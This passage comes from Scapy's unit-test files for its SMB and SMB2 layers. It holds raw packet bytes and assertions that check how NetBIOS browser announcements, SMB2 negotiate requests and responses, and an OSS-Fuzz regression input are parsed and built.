FHEPFCELEHFCEPFFFACACACACACACABO\x00\xffSMB%\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00V\x00\x03\x00\x01\x00\x01\x00\x02\x00!\x00\\MAILSLOT\\BROWSE\x00\x0bLENOVO-NETBOOK\x00' = BRWS BecomeBackup - dissection pkt = IP(b'E\x00\x00\xd4\x0c%\x00\x00\x80\x11\xa9\xa2\xc0\xa8\x01\x02\xc0\xa8\x01\xff\x00\x8a\x00\x8a\x00\xc0\xca)\x11\x02\x90\xdf\xc0\xa8\x01\x02\x00\x8a\x00\xaa\x00\x00 FGEJELFCEBEOFECNEMEBFAFEEPFACAAA\x00 FHEPFCELEHFCEPFFFACACACACACACABO\x00\xffSMB%\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00V\x00\x03\x00\x01\x00\x01\x00\x02\x00!\x00\\MAILSLOT\\BROWSE\x00\x0bLENOVO-NETBOOK\x00') assert SMBMailslot_Write in pkt assert pkt[SMBMailslot_Write].Timeout == 1000 assert pkt[SMBMailslot_Write].Name == b"\\MAILSLOT\\BROWSE" assert pkt[SMBMailslot_Write].Data.BrowserToPromote == b'LENOVO-NETBOOK' = BRWS HostAnnouncement - build pkt = \ IP(id=51657, tos=0x20, src='192.168.1.8', dst='192.168.1.255') / \ UDP(sport=138, dport=138) / \ NBTDatagram(Type=17, Flags=2, ID=18755, SourceIP='192.168.1.8', SourcePort=0, SourceName='MACBOOKPRO-199C', SUFFIX1=16705, DestinationName='WORKGROUP', SUFFIX2=16974) / \ SMB_Header(Flags=0, PIDLow=176, MID=18754) / \ SMBMailslot_Write(Data=BRWS_HostAnnouncement(ServerName="MACBOOKPRO-122A", Comment="Super's MacBook Pro"), Timeout=0, Flags=2, Name='\\MAILSLOT\\BROWSE') assert bytes(pkt) == b"E \x00\xf8\xc9\xc9\x00\x00@\x11+\xb4\xc0\xa8\x01\x08\xc0\xa8\x01\xff\x00\x8a\x00\x8a\x00\xe4\xb3\xb0\x11\x02IC\xc0\xa8\x01\x08\x00\x00\x00\xce\x00\x00 ENEBEDECEPEPELFAFCEPCNDBDJDJEDAA\x00 FHEPFCELEHFCEPFFFACACACACACACABN\x00\xffSMB%\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x00\x00\x00BI\x11\x00\x004\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004\x00V\x00\x03\x00\x01\x00\x01\x00\x02\x00E\x00\\MAILSLOT\\BROWSE\x00\x01\x00\x00\xf4\x01\x00MACBOOKPRO-122A\x00\x06\x01\x03\x12\x00\x00\x15\x01U\xaaSuper's MacBook Pro\x00" = BRWS HostAnnouncement - dissection pkt = IP(b"E \x00\xf8\xc9\xc9\x00\x00@\x11+\xb4\xc0\xa8\x01\x08\xc0\xa8\x01\xff\x00\x8a\x00\x8a\x00\xe4\xb3\xb0\x11\x02IC\xc0\xa8\x01\x08\x00\x00\x00\xce\x00\x00 ENEBEDECEPEPELFAFCEPCNDBDJDJEDAA\x00 FHEPFCELEHFCEPFFFACACACACACACABN\x00\xffSMB%\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x00\x00\x00BI\x11\x00\x004\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004\x00V\x00\x03\x00\x01\x00\x01\x00\x02\x00E\x00\\MAILSLOT\\BROWSE\x00\x01\x00\x00\xf4\x01\x00MACBOOKPRO-122A\x00\x06\x01\x03\x12\x00\x00\x15\x01U\xaaSuper's MacBook Pro\x00") assert SMBMailslot_Write in pkt assert pkt[SMBMailslot_Write].Name == b"\\MAILSLOT\\BROWSE" assert pkt[SMBMailslot_Write].Data.OpCode == 1 assert pkt[SMBMailslot_Write].Data.ServerName == b"MACBOOKPRO-122A\x00" assert pkt[SMBMailslot_Write].Data.Comment == b"Super's MacBook Pro" assert pkt[SMBMailslot_Write].Data.Signature == 0xAA55 = OSS-Fuzz Findings # SMBTransaction_Request from io import BytesIO # Issue 69637 file = BytesIO(b'M<\xb2\xa1\x02\x00\x04\x00\x00\x00\x02\xff\xa1\x00\x00\x00\xff\xff\x00\x00\x01\x00\x00\x00\r\x82\xe8Y[\xc6P"\xa1\xb2\x00_h\x00\x00\x00\x00\x10\x94\x00\x01\x00\x00\x1d%\xcb(\xce\x08\x00U\xfa\xf7\x8c\x00\x00@\x00?\x11\xa7R\xe0\xa8\x01\xa1d\xb2\xc3\xd4\n_\x00\x8a \x00\x00\x01\x00\x00\x00\x01\xff\x00\x00\x00\x10\x94\x00\x01\x00\x00\x1d%\xcb(\xce\x08\x00U\xfa\xf7\x8c\x00\x00@\x00?\x11\xa7R\xe0\xa8\x01\xa1d\xb2\xc3\xd4\n_\x00\x8a\xb2\x00\xa1a\xffl\xff\xff\xef\x00\xff\x01\x00\x08\xa1\xa1E\xf9\x00\xa1\x00\x00?\x8c\x08?\x11\x00\xc3\x00+\x10M<\x1a\x01\x00\xffSMB%d\x01\x05\x00\x00\x00\x00\x00\x00\x00\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\xf7\x8c\x00\x00@\x00?\x11\xa7R\xe0\xa8\x01\xa1d\xb2\xc3\xd4\n_\x00\x8a\xb2\x00\xa1a\xffl\xff\xff\xef\x00\xff\x01\x00\x08\xa1\xa1') l = rdpcap(file) assert l[0][NBTDatagram].summary() == "NBTDatagram / SMB_Header / Tran b''" ================================================ FILE: test/scapy/layers/smb2.uts ================================================ + SMB2 Header = SMB2 Header dissecting # OK test rawpkt = b'\x45\x00\x01\x18\x16\x2c\x40\x00\x37\x06\xc4\x14\x91\xdc\x18\x13\xc0\xa8\xfe\x07\x9d\x76\x01\xbd\x37\x06\x5e\x82\xa3\xca\x83\xd2\x50\x18\x01\xf6\x11\x5b\x00\x00\x00\x00\x00\xec\xfe\x53\x4d\x42\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff\x24\x00\x04\x00\x00\x00\x00\x00\x7f\x00\x00\x00\x59\x9e\x84\xf1\x9d\x61\xce\x99\x1f\x50\x5c\x04\x44\x74\xb1\x0a\x70\x00\x00\x00\x04\x00\x00\x00\x10\x02\x00\x03\x02\x03\x11\x03\x00\x00\x00\x00\x01\x00\x26\x00\x00\x00\x00\x00\x01\x00\x20\x00\x01\x00\x75\x06\x05\xed\x60\x88\x9e\xcb\x5e\x79\xbb\xe8\x44\x59\xc5\x5c\xd2\x82\x51\x06\x32\x7a\x6e\x2e\x41\xc5\xa8\x3f\xdd\xf2\xc5\x18\x00\x00\x02\x00\x06\x00\x00\x00\x00\x00\x02\x00\x01\x00\x02\x00\x00\x00\x03\x00\x10\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02\x00\x03\x00\x04\x00\x05\x00\x1c\x00\x00\x00\x00\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x37\x00\x38\x00\x2e\x00\x32\x00\x31\x00' pkt = IP(rawpkt) # Check layers assert TCP in pkt assert NBTSession in pkt assert pkt[NBTSession].LENGTH == 236 assert SMB2_Header in pkt smb2 = pkt[SMB2_Header] # Check header values assert smb2.Start == b'\xfeSMB' assert smb2.StructureSize == 64 assert smb2.CreditCharge == 1 assert smb2.CreditRequest == 0 assert smb2.Command == 0 assert smb2.Flags == 0 assert smb2.NextCommand == 0 assert smb2.MID == 0 assert smb2.SessionId == 0 assert smb2.SecuritySignature == b'\x00\x11"3DUfw\x88\x99\xaa\xbb\xcc\xdd\xee\xff' # KO test rawpkt = b'\x45\x00\x01\x18\x16\x2c\x40\x00\x37\x06\xc4\x14\x91\xdc\x18\x13\xc0\xa8\xfe\x07\x9d\x76\x01\xbd\x37\x06\x5e\x82\xa3\xca\x83\xd2\x50\x18\x01\xf6\x11\x5b\x00\x00\x00\x00\x00\xec\xf0\x53\x4d\x42\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff\x24\x00\x04\x00\x00\x00\x00\x00\x7f\x00\x00\x00\x59\x9e\x84\xf1\x9d\x61\xce\x99\x1f\x50\x5c\x04\x44\x74\xb1\x0a\x70\x00\x00\x00\x04\x00\x00\x00\x10\x02\x00\x03\x02\x03\x11\x03\x00\x00\x00\x00\x01\x00\x26\x00\x00\x00\x00\x00\x01\x00\x20\x00\x01\x00\x75\x06\x05\xed\x60\x88\x9e\xcb\x5e\x79\xbb\xe8\x44\x59\xc5\x5c\xd2\x82\x51\x06\x32\x7a\x6e\x2e\x41\xc5\xa8\x3f\xdd\xf2\xc5\x18\x00\x00\x02\x00\x06\x00\x00\x00\x00\x00\x02\x00\x01\x00\x02\x00\x00\x00\x03\x00\x10\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02\x00\x03\x00\x04\x00\x05\x00\x1c\x00\x00\x00\x00\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x37\x00\x38\x00\x2e\x00\x32\x00\x31\x00' pkt = IP(rawpkt) # Check layers assert TCP in pkt assert NBTSession in pkt assert pkt[NBTSession].LENGTH == 236 # Should not have a proper SMB2 Header as magic is \xf0SMB (not valid) assert SMB2_Header not in pkt # KO test with compression header rawpkt = b'\x45\x00\x01\x18\x16\x2c\x40\x00\x37\x06\xc4\x14\x91\xdc\x18\x13\xc0\xa8\xfe\x07\x9d\x76\x01\xbd\x37\x06\x5e\x82\xa3\xca\x83\xd2\x50\x18\x01\xf6\x11\x5b\x00\x00\x00\x00\x00\xec\xfc\x53\x4d\x42\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff\x24\x00\x04\x00\x00\x00\x00\x00\x7f\x00\x00\x00\x59\x9e\x84\xf1\x9d\x61\xce\x99\x1f\x50\x5c\x04\x44\x74\xb1\x0a\x70\x00\x00\x00\x04\x00\x00\x00\x10\x02\x00\x03\x02\x03\x11\x03\x00\x00\x00\x00\x01\x00\x26\x00\x00\x00\x00\x00\x01\x00\x20\x00\x01\x00\x75\x06\x05\xed\x60\x88\x9e\xcb\x5e\x79\xbb\xe8\x44\x59\xc5\x5c\xd2\x82\x51\x06\x32\x7a\x6e\x2e\x41\xc5\xa8\x3f\xdd\xf2\xc5\x18\x00\x00\x02\x00\x06\x00\x00\x00\x00\x00\x02\x00\x01\x00\x02\x00\x00\x00\x03\x00\x10\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02\x00\x03\x00\x04\x00\x05\x00\x1c\x00\x00\x00\x00\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x37\x00\x38\x00\x2e\x00\x32\x00\x31\x00' pkt = IP(rawpkt) # Check layers assert TCP in pkt assert NBTSession in pkt assert pkt[NBTSession].LENGTH == 236 # Should not have a proper SMB2 Header as magic is \xfcSMB (compressed version) assert SMB2_Header not in pkt = SMB2 Header assembling pkt = IP() / TCP() / NBTSession() / SMB2_Header() assert pkt[NBTSession].TYPE == 0x00 # session message smb2 = pkt[SMB2_Header] assert smb2.Start == b'\xfeSMB' + SMB2 Negotiate Protocol Request Header dissecting = Common fields in header # OK test rawpkt = b'\x45\x00\x01\x18\x16\x2c\x40\x00\x37\x06\xc4\x14\x91\xdc\x18\x13\xc0\xa8\xfe\x07\x9d\x76\x01\xbd\x37\x06\x5e\x82\xa3\xca\x83\xd2\x50\x18\x01\xf6\x11\x5b\x00\x00\x00\x00\x00\xec\xfe\x53\x4d\x42\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff\x24\x00\x04\x00\x00\x00\x00\x00\x7f\x00\x00\x00\x59\x9e\x84\xf1\x9d\x61\xce\x99\x1f\x50\x5c\x04\x44\x74\xb1\x0a\x70\x00\x00\x00\x04\x00\x00\x00\x10\x02\x00\x03\x02\x03\x11\x03\x00\x00\x00\x00\x01\x00\x26\x00\x00\x00\x00\x00\x01\x00\x20\x00\x01\x00\x75\x06\x05\xed\x60\x88\x9e\xcb\x5e\x79\xbb\xe8\x44\x59\xc5\x5c\xd2\x82\x51\x06\x32\x7a\x6e\x2e\x41\xc5\xa8\x3f\xdd\xf2\xc5\x18\x00\x00\x02\x00\x06\x00\x00\x00\x00\x00\x02\x00\x01\x00\x02\x00\x00\x00\x03\x00\x10\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02\x00\x03\x00\x04\x00\x05\x00\x1c\x00\x00\x00\x00\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x37\x00\x38\x00\x2e\x00\x32\x00\x31\x00' pkt = IP(rawpkt) # Check layers assert TCP in pkt assert NBTSession in pkt assert pkt[NBTSession].LENGTH == 236 assert SMB2_Header in pkt assert SMB2_Negotiate_Protocol_Request in pkt nego_req = pkt[SMB2_Negotiate_Protocol_Request] # Check field values assert nego_req.StructureSize == 0x24 assert nego_req.DialectCount == 4 assert nego_req.SecurityMode == 0 assert nego_req.Capabilities == 0x7f assert str(nego_req.ClientGUID) == 'f1849e59-619d-99ce-1f50-5c044474b10a' assert nego_req.NegotiateContextsBufferOffset == 0x70 assert nego_req.NegotiateContextsCount == 4 for dialect in nego_req.Dialects: assert dialect in SMB_DIALECTS.keys() # Check SMB 2.1 assert 0x210 in nego_req.Dialects # Check SMB 3.0 assert 0x300 in nego_req.Dialects # Check SMB 3.0.2 assert 0x302 in nego_req.Dialects # Check SMB 3.1.1 assert 0x311 in nego_req.Dialects assert len(nego_req.NegotiateContexts) == nego_req.NegotiateContextsCount = SMB2 Negotiate Context in Request - type PREAUTH - disassemble preauth = nego_req.NegotiateContexts[0] assert preauth.ContextType == 0x1 assert preauth.DataLength == 38 assert preauth.HashAlgorithmCount == 1 assert preauth.SaltLength == 32 assert preauth.Salt == b'\x75\x06\x05\xed\x60\x88\x9e\xcb\x5e\x79\xbb\xe8\x44\x59\xc5\x5c\xd2\x82\x51\x06\x32\x7a\x6e\x2e\x41\xc5\xa8\x3f\xdd\xf2\xc5\x18' assert len(preauth.HashAlgorithms) == 1 assert preauth.HashAlgorithms[0] == 0x1 = SMB2 Negotiate Context in Request - type ENCRYPTION disassemble enc = nego_req.NegotiateContexts[1] assert enc.ContextType == 0x2 assert enc.DataLength == 6 assert enc.CipherCount == 2 assert len(enc.Ciphers) == 2 assert enc.Ciphers[0] == 1 assert enc.Ciphers[1] == 2 = SMB2 Negotiate Context in Request - type COMPRESSION comp = nego_req.NegotiateContexts[2] assert comp.ContextType == 0x3 assert comp.DataLength == 16 assert comp.CompressionAlgorithmCount == 4 assert len(comp.CompressionAlgorithms) == 4 assert comp.CompressionAlgorithms[0] == 1 assert comp.CompressionAlgorithms[1] == 2 assert comp.CompressionAlgorithms[2] == 3 assert comp.CompressionAlgorithms[3] == 4 = SMB2 Negotiate Context in Request - type NETNAME NEGOCIATE netname = nego_req.NegotiateContexts[3] assert netname.ContextType == 0x5 assert netname.DataLength == 28 assert netname.NetName == '192.168.178.21' = test SMB2 Negotiate Protocol Request Header - assembling pkt = IP() / TCP() / NBTSession() / SMB2_Header() / SMB2_Negotiate_Protocol_Request() pkt = IP(raw(pkt)) assert SMB2_Negotiate_Protocol_Request in pkt = Request with no 0x0311 in dialects preauth = SMB2_Preauth_Integrity_Capabilities() preauth_context = SMB2_Negotiate_Context(ContextType = 1, DataLength = len(preauth)) / preauth pkt = SMB2_Negotiate_Protocol_Request(Dialects=[0x0202], NegotiateContexts=[preauth_context]) pkt = pkt.__class__(raw(pkt)).NegotiateContexts[0] assert SMB2_Preauth_Integrity_Capabilities in pkt + SMB2 Negotiate Protocol Response Header dissecting = Common fields in header rawpkt = b'\x45\x00\x02\x3e\x84\xa6\x40\x00\x80\x06\x0b\x74\xc0\xa8\xfe\x07\x91\xdc\x18\x13\x01\xbd\x9d\x76\xa3\xca\x83\xd2\x37\x06\x5f\x72\x50\x18\x04\x01\xe3\x14\x00\x00\x00\x00\x02\x12\xfe\x53\x4d\x42\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\x00\x01\x00\x11\x03\x03\x00\x53\x6d\xdd\x1c\x30\x1f\x44\x42\xa5\xc8\x88\x73\x7a\x68\x05\xe1\x2f\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\xe9\xbe\x9e\x6c\xa4\xf8\xd5\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x40\x01\xc0\x01\x00\x00\x60\x82\x01\x3c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x82\x01\x30\x30\x82\x01\x2c\xa0\x1a\x30\x18\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x82\x01\x0c\x04\x82\x01\x08\x4e\x45\x47\x4f\x45\x58\x54\x53\x01\x00\x00\x00\x00\x00\x00\x00\x60\x00\x00\x00\x70\x00\x00\x00\x11\x70\xff\xd0\xfa\xf1\x4f\xa2\x6f\x40\x5c\x94\x55\x68\x53\xcf\xa1\x77\x02\x7a\x32\xa9\x62\x78\x0a\x21\xfb\x9e\x2c\x5e\xe9\x78\xeb\xab\xee\x91\xfd\xfc\xda\x0f\xc5\x91\x03\x6e\xf8\xfd\x4c\x08\x00\x00\x00\x00\x00\x00\x00\x00\x60\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\x33\x53\x0d\xea\xf9\x0d\x4d\xb2\xec\x4a\xe3\x78\x6e\xc3\x08\x4e\x45\x47\x4f\x45\x58\x54\x53\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00\x98\x00\x00\x00\x11\x70\xff\xd0\xfa\xf1\x4f\xa2\x6f\x40\x5c\x94\x55\x68\x53\xcf\x5c\x33\x53\x0d\xea\xf9\x0d\x4d\xb2\xec\x4a\xe3\x78\x6e\xc3\x08\x40\x00\x00\x00\x58\x00\x00\x00\x30\x56\xa0\x54\x30\x52\x30\x27\x80\x25\x30\x23\x31\x21\x30\x1f\x06\x03\x55\x04\x03\x13\x18\x54\x6f\x6b\x65\x6e\x20\x53\x69\x67\x6e\x69\x6e\x67\x20\x50\x75\x62\x6c\x69\x63\x20\x4b\x65\x79\x30\x27\x80\x25\x30\x23\x31\x21\x30\x1f\x06\x03\x55\x04\x03\x13\x18\x54\x6f\x6b\x65\x6e\x20\x53\x69\x67\x6e\x69\x6e\x67\x20\x50\x75\x62\x6c\x69\x63\x20\x4b\x65\x79\x01\x00\x26\x00\x00\x00\x00\x00\x01\x00\x20\x00\x01\x00\x09\x33\xe9\xe8\xcb\xf4\x8a\x5c\x61\x4d\x38\x42\xa1\x53\x41\x18\x1b\xeb\x99\x78\x0b\x19\x6f\x5c\xef\xdd\x02\x51\x07\x3b\xc6\xcc\x00\x00\x02\x00\x04\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00\x03\x00\x0a\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00' pkt = IP(rawpkt) # Check layers assert TCP in pkt assert NBTSession in pkt assert pkt[NBTSession].LENGTH == 530 assert SMB2_Header in pkt assert SMB2_Negotiate_Protocol_Response in pkt nego_resp = pkt[SMB2_Negotiate_Protocol_Response] # check field values assert nego_resp.StructureSize == 0x41 assert str(nego_resp.SecurityMode) == 'SIGNING_ENABLED' assert nego_resp.DialectRevision == 0x0311 assert nego_resp.NegotiateContextsCount == 0x3 assert str(nego_resp.GUID) == '1cdd6d53-1f30-4244-a5c8-88737a6805e1' assert nego_resp.Capabilities == 0x2f assert nego_resp.MaxTransactionSize == 0x00800000 assert nego_resp.MaxReadSize == 0x00800000 assert nego_resp.MaxWriteSize == 0x00800000 assert nego_resp.SecurityBlobBufferOffset == 0x00000080 assert nego_resp.SecurityBlobLen == 320 assert nego_resp.NegotiateContextsBufferOffset == 0x1c0 assert bytes(nego_resp.SecurityBlob.innerToken.token.mechToken.value) == b"NEGOEXTS\x01\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00p\x00\x00\x00\x11p\xff\xd0\xfa\xf1O\xa2o@\\\x94UhS\xcf\xa1w\x02z2\xa9bx\n!\xfb\x9e,^\xe9x\xeb\xab\xee\x91\xfd\xfc\xda\x0f\xc5\x91\x03n\xf8\xfdL\x08\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\\3S\r\xea\xf9\rM\xb2\xecJ\xe3xn\xc3\x08NEGOEXTS\x03\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\x98\x00\x00\x00\x11p\xff\xd0\xfa\xf1O\xa2o@\\\x94UhS\xcf\\3S\r\xea\xf9\rM\xb2\xecJ\xe3xn\xc3\x08@\x00\x00\x00X\x00\x00\x000V\xa0T0R0'\x80%0#1!0\x1f\x06\x03U\x04\x03\x13\x18Token Signing Public Key0'\x80%0#1!0\x1f\x06\x03U\x04\x03\x13\x18Token Signing Public Key" assert len(nego_resp.NegotiateContexts) == 3 = SMB2 Negotiate Context in Response - Type PREAUTH preauth = nego_resp.NegotiateContexts[0] assert preauth.ContextType == 0x0001 assert preauth.DataLength == 38 assert preauth.HashAlgorithmCount == 1 assert preauth.SaltLength == 32 assert preauth.Salt == b"\x09\x33\xe9\xe8\xcb\xf4\x8a\x5c\x61\x4d\x38\x42\xa1\x53\x41\x18\x1b\xeb\x99\x78\x0b\x19\x6f\x5c\xef\xdd\x02\x51\x07\x3b\xc6\xcc" assert len(preauth.HashAlgorithms) == 1 assert preauth.HashAlgorithms[0] == 0x1 = SMB2 Negotiate Context in Response - Type ENCRYPTION enc = nego_resp.NegotiateContexts[1] assert enc.ContextType == 0x0002 assert enc.DataLength == 4 assert enc.CipherCount == 1 assert len(enc.Ciphers) == 1 assert enc.Ciphers[0] == 1 = SMB2 Negotiate Context in Response - Type COMPRESSION comp = nego_resp.NegotiateContexts[2] assert comp.ContextType == 0x0003 assert comp.DataLength == 10 assert comp.CompressionAlgorithmCount == 1 assert len(comp.CompressionAlgorithms) == 1 assert comp.CompressionAlgorithms[0] == 1 = SMB2 Negotiate Protocol Response Header assembling pkt = IP() / TCP() / NBTSession() / SMB2_Header() / SMB2_Negotiate_Protocol_Response() pkt = IP(raw(pkt)) assert SMB2_Negotiate_Protocol_Response in pkt + SMB2 Negotiate Protocol Request Header with 1 dialect = Common fields in header # OK test rawpkt = b'\x45\x00\x01\x10\x16\x2c\x40\x00\x37\x06\xc4\x14\x91\xdc\x18\x13\xc0\xa8\xfe\x07\x9d\x76\x01\xbd\x37\x06\x5e\x82\xa3\xca\x83\xd2\x50\x18\x01\xf6\x11\x5b\x00\x00\x00\x00\x00\xe4\xfe\x53\x4d\x42\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff\x24\x00\x01\x00\x00\x00\x00\x00\x7f\x00\x00\x00\x59\x9e\x84\xf1\x9d\x61\xce\x99\x1f\x50\x5c\x04\x44\x74\xb1\x0a\x68\x00\x00\x00\x04\x00\x00\x00\x11\x03\x00\x00\x01\x00\x26\x00\x00\x00\x00\x00\x01\x00\x20\x00\x01\x00\x75\x06\x05\xed\x60\x88\x9e\xcb\x5e\x79\xbb\xe8\x44\x59\xc5\x5c\xd2\x82\x51\x06\x32\x7a\x6e\x2e\x41\xc5\xa8\x3f\xdd\xf2\xc5\x18\x00\x00\x02\x00\x06\x00\x00\x00\x00\x00\x02\x00\x01\x00\x02\x00\x00\x00\x03\x00\x10\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02\x00\x03\x00\x04\x00\x05\x00\x1c\x00\x00\x00\x00\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x37\x00\x38\x00\x2e\x00\x32\x00\x31\x00' pkt = IP(rawpkt) # Check layers assert TCP in pkt assert NBTSession in pkt assert pkt[NBTSession].LENGTH == 228 assert SMB2_Header in pkt assert SMB2_Negotiate_Protocol_Request in pkt nego_req = pkt[SMB2_Negotiate_Protocol_Request] # Check field values assert nego_req.StructureSize == 0x24 assert nego_req.DialectCount == 1 assert nego_req.SecurityMode == 0 assert nego_req.Capabilities == 0x7f assert str(nego_req.ClientGUID) == 'f1849e59-619d-99ce-1f50-5c044474b10a' assert nego_req.NegotiateContextsBufferOffset == 0x68 assert nego_req.NegotiateContextsCount == 4 for dialect in nego_req.Dialects: assert dialect in SMB_DIALECTS.keys() # Check SMB 3.1.1 assert 0x311 in nego_req.Dialects assert len(nego_req.NegotiateContexts) == nego_req.NegotiateContextsCount = SMB2 Negotiate Context in Request - type PREAUTH - disassemble preauth = nego_req.NegotiateContexts[0] assert preauth.ContextType == 0x1 assert preauth.DataLength == 38 assert preauth.HashAlgorithmCount == 1 assert preauth.SaltLength == 32 assert preauth.Salt == b'\x75\x06\x05\xed\x60\x88\x9e\xcb\x5e\x79\xbb\xe8\x44\x59\xc5\x5c\xd2\x82\x51\x06\x32\x7a\x6e\x2e\x41\xc5\xa8\x3f\xdd\xf2\xc5\x18' assert len(preauth.HashAlgorithms) == 1 assert preauth.HashAlgorithms[0] == 0x1 = SMB2 Negotiate Context in Request - type ENCRYPTION disassemble enc = nego_req.NegotiateContexts[1] assert enc.ContextType == 0x2 assert enc.DataLength == 6 assert enc.CipherCount == 2 assert len(enc.Ciphers) == 2 assert enc.Ciphers[0] == 1 assert enc.Ciphers[1] == 2 = SMB2 Negotiate Context in Request - type COMPRESSION comp = nego_req.NegotiateContexts[2] assert comp.ContextType == 0x3 assert comp.DataLength == 16 assert comp.CompressionAlgorithmCount == 4 assert len(comp.CompressionAlgorithms) == 4 assert comp.CompressionAlgorithms[0] == 1 assert comp.CompressionAlgorithms[1] == 2 assert comp.CompressionAlgorithms[2] == 3 assert comp.CompressionAlgorithms[3] == 4 = SMB2 Negotiate Context in Request - type NETNAME NEGOCIATE netname = nego_req.NegotiateContexts[3] assert netname.ContextType == 0x5 assert netname.DataLength == 28 assert netname.NetName == '192.168.178.21' + SMB2 Negotiate Protocol Request Header default values = Default DialectCount pkt = SMB2_Negotiate_Protocol_Request() assert len(pkt.Dialects) == pkt.__class__(raw(pkt)).DialectCount = Default NegotiateContextsCount preauth = SMB2_Preauth_Integrity_Capabilities() preauth_context = SMB2_Negotiate_Context(ContextType = 1, DataLength = len(preauth)) / preauth pkt = SMB2_Negotiate_Protocol_Request(Dialects=[0x0311], NegotiateContexts=[preauth_context], NegotiateContextsBufferOffset=0x68) assert len(pkt.NegotiateContexts) == pkt.__class__(raw(pkt)).NegotiateContextsCount + Negotiate Request without manual padding of Negotiate Contexts = SMB2 Negotiate Context in Request - type PREAUTH - disassemble preauth = SMB2_Preauth_Integrity_Capabilities() preauth_context = SMB2_Negotiate_Context(ContextType = 1, DataLength = len(preauth)) / preauth enc = SMB2_Encryption_Capabilities() enc_context = SMB2_Negotiate_Context(ContextType = 2, DataLength = len(enc)) / enc comp = SMB2_Compression_Capabilities() comp_context = SMB2_Negotiate_Context(ContextType = 3, DataLength = len(comp)) / comp netname_context = 